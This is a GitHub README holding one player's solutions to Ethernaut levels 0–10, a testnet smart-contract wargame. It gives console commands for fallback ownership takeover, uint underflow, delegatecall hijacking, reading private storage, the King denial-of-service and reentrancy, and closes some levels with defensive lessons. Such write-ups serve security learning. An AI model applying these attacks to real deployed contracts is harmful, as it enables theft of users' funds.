Skip to content

Latest commit

 

History

History

OpenZeppelin - Ethernaut

OpenZeppelin - Ethernaut

The Ethernaut is a Web3/Solidity-based wargame inspired by overthewire.org, played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be 'hacked'. Here are the writeups of my solutions for all the levels.

First, connect your wallet and make sure you are on a testnet.

0. Hello Ethernaut

It was more of an introductory level, helping you set up for the upcoming levels and giving bits of the basic but necessary information. Create your level instance.

Then, look into contract.info() and complete the level:

> await  contract.info()
'You will find what you need in info1().'
> await  contract.info1()
'Try info2(), but with "hello" as a parameter.'
await  contract.info2("hello")
'The property infoNum holds the number of the next info method to call.'
> await contract.infoNum()
words:
Array(2)
0:42
> await contract.info42()
'theMethodName is the name of the next method.'
> await contract.theMethodName()
'The method name is method7123949.'
> await contract.method7123949()
'If you know the password, submit it to authenticate().'

Okay, we don't know the password, but there is a method with that name:

> await contract.password()
'ethernaut0'

Let's authenticate:

> await contract.authenticate("ethernaut0")

Once the tx is confirmed, submit the level, and congrats you cleared your first ethernaut level!!

1. Fallback

First, create the level instance:

You will beat this level if you claim ownership of the contract and you reduce its balance to 0. Things that might help:

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units (see help() command)
  • Fallback methods

Let's check who is the owner:

> await contract.owner()
'0x3c34A342b2aF5e885FcaA3800dB5B205fEfa3ffB'

Call the contribute() method with the right amount of ether to pass the condition.

await contract.contribute({ value: toWei("0.0001", "ether") });

The Smart Contract has a payable fallback receive funcion so we will just send a tx with some amount of ether and empty data to call it:

> await sendTransaction({
  to: "0x6d660aE836b7E481E9b3cFa8E01478eFBb743897",
  value: toWei("0.0001", "ether"),
  from: "0xb8b74dc6bce6b16dcd634ab94600a3c9967e6f0d",
});
"0xcf49a66ada6dc7a296927bd10ef428ead9e2aae94b4e99c4a5a3babb83ee3fab"

Let's see who is the owner now:

> await contract.owner();
"0xB8b74Dc6bce6B16dcd634aB94600a3c9967E6F0D"

I'm the owner now so I can withdraw everything 😎:

> await contract.withdraw()
{tx: '0x7fb9e0d63c4b14028f3d37b8d2779c1a2e9457d079e408fe4060519735064dd2'}

Submit level instance to finish.

2. Fallout

First, create the level instance:

Claim ownership of the contract below to complete this level. Things that might help:

  • Solidity Remix IDE

Check who is the current owner:

> await contract.owner()
'0x0000000000000000000000000000000000000000'

This was an easy level because we can use the function marked as a constructor for the Smart Contract has a typo. It is Fal1out() instead of Fallout().

Let's simply call this function and send 10 wei to become the owner:

> await contract.Fal1out({value:"10"})

{tx: '0x27583e3d65e79684f1762306c9886b3cd2982073bf5ba8795b69df389b98bdb9'}

Then, we can see we are the owner...

> await contract.owner()
'0xB8b74Dc6bce6B16dcd634aB94600a3c9967E6F0D'

Submit level instance to finish.

3. Coin Flip

First, create the level instance:

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

The flip() function is using the current block number to decide the side of the coin, so the random-seeming function is not really random.

We can access the block number in a separate smart contract and predict the output of the flip(). The only thing we need to take care of is the first function that checks if the blockValue is the same as the previously stored hash, indicating a replay attack.

if (lastHash == blockValue) {
  revert();
}

So we cannot use a for loop and call the flip() 10 times in a single transaction since that transaction will be written in a single block and in the second iteration of the loop the lastHash will become equal to the blockValue resulting in a revert.

Let's deploy the CoinFlipAttack.sol contract using the CoinFlip address. Then execute the IncreaseItBy1 function 10 times manually.

Submit level instance to finish.

4. Telephone

First, create the level instance:

Claim ownership of the contract below to complete this level.

Let's see who is the current owner:

> await contract.owner()
'0x2C2307bb8824a0AbBf2CC7D76d8e63374D2f8446'

The conditional in the changeOwner() can be passed only if the origin of the transaction is not the same as the last message sender.

The tx.origin global variable refers to the original external account that started the transaction while msg.sender refers to the immediate account (it could be external or another contract account) that invokes the function.

We simply need to deploy an intermediate contract and invoke the changeOwner() from it.

And now we are the owner:

> await contract.owner()
'0xB8b74Dc6bce6B16dcd634aB94600a3c9967E6F0D'

Submit level instance to finish.

5. Token

First, create the level instance:

The goal of this level is for you to hack the basic token contract below. You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

In this contract we can see a simple uint overflow problem since there are no SafeMath checks. If we pass any number larger than 20 to the value of the transfer it will result in the operation 20 - 21 which is equal to UintMax.

> await contract.transfer("0x871D838738B2B745EAA37216Fc0360C94a319a20", 21)

Then, check the balance:

> x = await contract.balanceOf(player);

> x.toString();

("115792089237316195423570985008687907853269984665640564039457584007913129639935");

Submit level instance to finish.

6. Delegation

First, create the level instance:

The goal of this level is for you to claim ownership of the instance you are given. Things that might help:

  • Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
  • Fallback methods
  • Method ids

In this level, it's important how DELEGATECALL works. Once we understand, we need to know the Method ID of the function pwn():

> web3.eth.abi.encodeFunctionSignature("pwn()");
'0xdd365b8b'

And now, let's create a new transaction that goes to the fallback using the CALLDATA of pwn() to become the owner:

> await web3.eth.sendTransaction({from:player, data:"0xdd365b8b", to:instance})

Check the owner then:

> await contract.owner()
'0xB8b74Dc6bce6B16dcd634aB94600a3c9967E6F0D'

We're the owner! Submit level instance to finish.

7. Force

First, create the level instance:

Some contracts will simply not take your money ¯_(ツ)_/¯ The goal of this level is to make the balance of the contract greater than zero. Things that might help:

  • Fallback methods
  • Sometimes the best way to attack a contract is with another contract.

To solve this challenge, we need to learn all the possible way for which a contract can receive ETH:

  • The contract implements at least a payable function and we send some ether along with the function call.

  • The contract implements a receive function.

  • The contract implements a payable fallback function.

  • The last and more "strange" way that can and has created various security problem is via selfdestruct()

  • Bonus point: a contract without a receive Ether function can also receive Ether as a recipient of a coinbase transaction (miner block reward)

But in this case we can't use any function of the contract because there is none. So let's create another contract which we can destroy.

Then, deposit some funds to our contract. Finally, destroy our contract so the funds go to Force.

There is no way to stop an attacker from sending ether to a contract by self destroying. , submit level instance to finish.

8. Vault

First, create the level instance:

Unlock the vault to pass the level!

As we see this contract, the password is stored in a private variable. Looking for some information we see that using the web3 library we can see the data stored in the blockchain. Let's see if it's locked:

> await contract.locked()
true

So let's see the password, on our contract instance, in the second slot.

> await web3.eth.getStorageAt("0x9498102915b69Af90a7aDFBD0eaA1f6e93E8fb15", 1, console.log)
"0x412076657279207374726f6e67207365637265742070617373776f7264203a29"

This is the password and if we want to see it on plain text:

> await web3.utils.hexToAscii("0x412076657279207374726f6e67207365637265742070617373776f7264203a29");
'A very strong secret password :)'

Then, unlock the vault! And check if it's locked now:

> await contract.locked()
false

It's important to remember that marking a variable as private only prevents other contracts from accessing it. State variables marked as private and local variables are still publicly accessible.

To ensure that data is private, it needs to be encrypted before being put onto the blockchain. In this scenario, the decryption key should never be sent on-chain, as it will then be visible to anyone who looks for it.

zk-SNARKs provide a way to determine whether someone possesses a secret parameter, without ever having to reveal the parameter.

Finally, submit level instance to finish.

9. King

First, create the level instance:

  • The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
  • Such a fun game. Your goal is to break it.
  • When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Our main goal is to become the King and deny anyone else from claiming kingship after us. To do that, we must create a contract that doesn't accept incoming transactions. Let's see who is the current king:

> await contract._king()
'0x3049C00639E6dfC269ED1451764a046f7aE500c6'

Before we deploy our Smart Contract, we should check what's the prize:

> balance = await web3.eth.getBalance("0x0ccf317b54fAA02ec70E0d0895e9512672AB9114")
'1000000000000000' // wei

> web3.utils.fromWei(balance, 'ether');
'0.001' // eth

Okay, so now let's deploy our Attack contract with 0.01 ETH. (10000000000000000 wei). This contract sends the prize of ether to the original contract to become the king:

> await contract._king()
'0x8D16281E49520A9448097D9BAc4dB34d55C3dcf4'

If we submit the instance, the level is going to reclaim kingship but they can't because our contract deny incoming transactions :)

Finally, submit level instance to finish. See King of the Ether & King of the Ether Postmortem.

10. Re-entrancy

First, create the level instance:

The goal of this level is for you to steal all the funds from the contract. Things that might help:

  • Untrusted contracts can execute code where you least expect it.
  • Fallback methods
  • Throw/revert bubbling
  • Sometimes the best way to attack a contract is with another contract.

This is a classic reentrancy attack, where we attack with other contract that calls the withdraw function and triggers the fallback function and this function will call the withdraw function again.

Let's code the Attacker contract and deploy it. Deposit somo ETH in the Attack Contract to get started.

Then start the Attack and check how we steal the funds and withdraw it to our address destroying the contract.

We can see the Internal TXs of the instance level.

Finally, submit level instance to finish.

In order to prevent re-entrancy attacks when moving funds out of your contract, use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.

transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.

Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.

The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract. See 15 lines of code that could have prevented TheDAO Hack.